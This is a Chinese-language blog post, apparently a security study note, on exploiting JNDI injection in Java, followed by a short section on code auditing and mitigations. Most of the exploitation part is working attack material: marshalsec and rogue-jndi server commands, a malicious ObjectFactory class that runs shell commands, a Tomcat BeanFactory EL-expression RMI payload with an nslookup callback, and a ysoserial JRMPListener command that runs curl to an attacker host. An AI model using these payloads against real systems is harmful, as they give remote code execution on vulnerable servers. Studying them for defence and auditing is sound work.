JNDI注入漏洞

关于JNDI相关知识已经在上一篇博客中进行说明:JNDI学习笔记_貌美不及玲珑心,贤妻扶我青云志的博客-优快云博客

这一篇将主要学习JNDI注入漏洞的利用手法。

JNDI注入漏洞概述

JNDI是Java里独有的概念,因此JNDI注入也是Java中独有的一类安全漏洞。如果有应用程序进行了JNDI查询,并且其查询的地址或者名称攻击者可控的话,就会形成JNDI注入漏洞。

比如如下代码:

// env是用于创建InitialContext的环境变量属性配置
Hashtable env = new Hashtable();
// Context.INITIAL_CONTEXT_FACTORY即字符串java.naming.factory.initial
  env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
// Context.PROVIDER_URL即字符串java.naming.provider.url
env.put(Context.PROVIDER_URL,"rmi://localhost:1099");
// 创建 InitialContext
InitialContext context = new InitialContext(env);
// 根据用户传递的参数 name 作为名字查询绑定的对象
Object obj = context.lookup(request.getParameter("name"));

尽管这里传递给InitialContext的Hashtable变量里已经设置了 java.naming.provider.url 为应用想访问的RMI服务地址,但实际上在执行lookup方法时,会对传递的name参数进行解析。如果name是一个完整的URL字符串的话,lookup的地址就会动态切换到name指定的地址。此时攻击者构造name参数的值为自己服务器的ip,应用程序就会向服务器发送请求。攻击者可以构造恶意的RMI或LDAP等命名目录服务,来使目标进行远程类加载,或者进行反序列化攻击,最终可以在目标服务器上执行恶意代码。

JNDI注入漏洞利用

JNDI注入漏洞的可利用手法:

  • 利用Reference加载远程Factory类
  • 利用Reference加载本地Factory类
  • 反序列化

利用Reference加载远程Factory类

利用流程:

  1. 攻击者构造RMI协议的URL字符串(对应攻击者构建的RMI服务地址)作为参数传入目标应用的 JNDI lookup方法中。
  2. 目标应用连接到攻击者指向的RMI服务,查询得到一个恶意的 JNDI Reference
  3. 目标应用对 JNDI Reference进行解析
  4. 根据Reference解析的结果,目标应用从攻击者控制的一个Web服务上下载Factory类的字节码
  5. 目标应用对下载得到的类字节码做初始化加载,攻击者的恶意代码被执行。

复现:

需要使用Marshalsec这款工具里已经集成有构建恶意RMI或LDAP服务的程序,这款工具的使用需要Java8的环境

项目地址:GitHub - mbechler/marshalsec

命令如下:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://vps-ip//#Exploit 389

这个命令会在389端口监听一个LDAP服务,当被攻击者对它进行 JNDI lookup 查询时,它会返回一个Reference。类加载地址指向http://vps-ip/Exploit.class,Exploit.class是攻击者自己编译的恶意Java代码经编译后得到的字节码。源码如下:

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class Exploit implements ObjectFactory {
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        java.lang.Runtime.getRuntime().exec(new String[] {"/bin/bash", "-c", "touch /tmp/pwned"});
        return null;
    }
}

被攻击者代码;

String jndiurl = "ldap://启动ldap服务的主机:389/Exploit";
Context ctx = new InitialContext();
ctx.lookup(jndiurl);

受害者值如下代码就会向向攻击者电脑(开启LDAP或者RMI)发送请求,返回一个Reference,类加载服务器上的恶意文件,Exploit.class文件里面的命令:touch /tmp/pwned 就会被执行

利用Reference加载本地Factory类

从高版本JDK开始,就禁止RMI和LDAP远程加载Factory类,但若是在目标依赖环境中可以找到危险的Factory,同样可以加载Factory类,完成代码执行。

可以Tomcat Server的一个类,org.apache.naming.factory.BeanFactory。由于该类的getObjectInstace方法进行了反射作用,所以可以通过利用它调用java.el.ELProcessor的eval方法,最后实现EL表达式来达到远程代码执行的效果。利用代码如下:

import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;
 
public class EvilRMIServerNew {
    public static void main(String[] args) throws Exception {
        System.out.println("Creating evil RMI registry on port 1097");
        Registry registry = LocateRegistry.createRegistry(1097);
 
        //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
        ref.add(new StringRefAddr("forceString", "x=eval"));
        //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','nslookup jndi.s.artsploit.com']).start()\")"));
 
        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("Object", referenceWrapper);
    }
}

这段代码启动了RMI服务,目标程序如果有Tomcat相关依赖,而且有作用类似下面的代码,就能来连接上恶意的RMI服务,最终通过构造表达式执行系统命令 nslookup jndi.s.artsploit.com

new InitialContext().lookup("rmi://evil_rmi_server:1097/Object");

出来这种方法,还有其它许多的危险的Factory类,都已经集成到GITHUB项目rogue-jndi中。

项目地址:GitHub - veracode-research/rogue-jndi: A malicious LDAP server for JNDI injection attacks

使用方法:

java -jar target/RogueJndi-1.0.jar --command "命令" --hostname 本机地址

在本地启动这些服务,然后在易受攻击的客户端上触发 JNDI 解析

反序列化

前面的两种方法是通过将恶意的Java对象绑定到RMI和JDAP这些命名目录服务上,是通过序列化特定的对象字节码来实现攻击的。还可以通过JNDI注入来实现反序列化攻击。

反序列化攻击可以借助ysoserial中的JRMPListener来完成。

项目地址:GitHub - frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

使用方法:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonCollections6 "curl http://you-ip/"

会在本机1099端口经停JRMP服务(是RMI用到的底层协议),当受害者执行下面代码时,JRMP就会构建恶意的Commons Collection序列化数据返回给受害者客户端,如果受害者客户端存在有缺陷的Apache Commons Collection库,反序列化攻击就会成功,命令被执行。

String jndiurl = "ldap://you-ip:1099/Exploit";
Context ctx = new InitialContext();
ctx.lookup(jndiurl);

总结

基于Reference的远程/本地加载Factory类,攻击端需要启动LDAP/RMI目录服务,当攻击机请求之后,就会加载远程/本地的Factory来实现远程代码执行。

反序列化的利用则是直接注入恶意的序列化数据,来达到远程代码执行的目的。

### 关于JNDI注入漏洞的代码审计 #### 审计方法概述 针对JNDI注入漏洞,有效的代码审计应当关注应用程序如何处理外部输入以及这些输入是否安全地传递给JNDI lookup操作。具体来说,在审查过程中要特别注意任何地方调用了`InitialContext.lookup()`或其他涉及动态资源定位的方法,并仔细检查传入参数是否受到充分验证和清理[^1]。 #### 常见风险点识别 - **未受控的数据流**:当程序允许不受信任方控制的部分参与构建用于查找命名对象的名字字符串时,则可能存在潜在的风险。 - **第三方库的影响**:某些框架或组件可能会间接引入此类问题,比如通过配置文件加载机制自动解析并应用环境变量中的设置来初始化内部使用的数据源等服务实例[^3]。 #### 使用静态分析工具辅助检测 为了提高效率并减少人为疏忽带来的遗漏,可以借助专门设计用来扫描Java项目中可能存在的安全隐患的专业软件来进行初步筛查: - SonarQube配合自定义规则集能够很好地适应不同企业的特定需求; - FindBugs及其后续者SpotBugs也提供了若干现成插件支持发现与防止多种类型的编程错误,包括但不限于不恰当的对象反序列化、危险函数调用等问题; - Checkmarx CxSAST则更侧重于从开发周期早期介入帮助企业建立完善的应用安全性保障体系。 除了上述提到的产品之外还有许多其他优秀的开源或者商业解决方案可供选择,实际选型应综合考虑成本效益比等因素做出决策。 ```java // 示例:避免直接使用不可信来源构造JNDI名称 String userInput = request.getParameter("db"); if (isValidDatabaseName(userInput)) { // 自定义合法性检验逻辑 Context ctx = new InitialContext(); DataSource ds = (DataSource)ctx.lookup("jdbc/" + sanitizeForJndi(userInput)); // 对输入做进一步净化处理 } ``` #### 实施最佳实践建议 - 尽量采用依赖注入的方式获取所需的服务接口实现而不是自行拼接URL去检索它们; - 如果确实有必要基于运行时条件决定目标地址的话,请务必先经过严格的白名单匹配再继续下一步动作; - 配合Web服务器层面的安全策略限制对外部网络请求发起权限,从而降低攻击面暴露程度; - 及时更新所依赖的所有包至最新稳定版以获得官方发布的修复补丁[^2]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

渐次登高

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值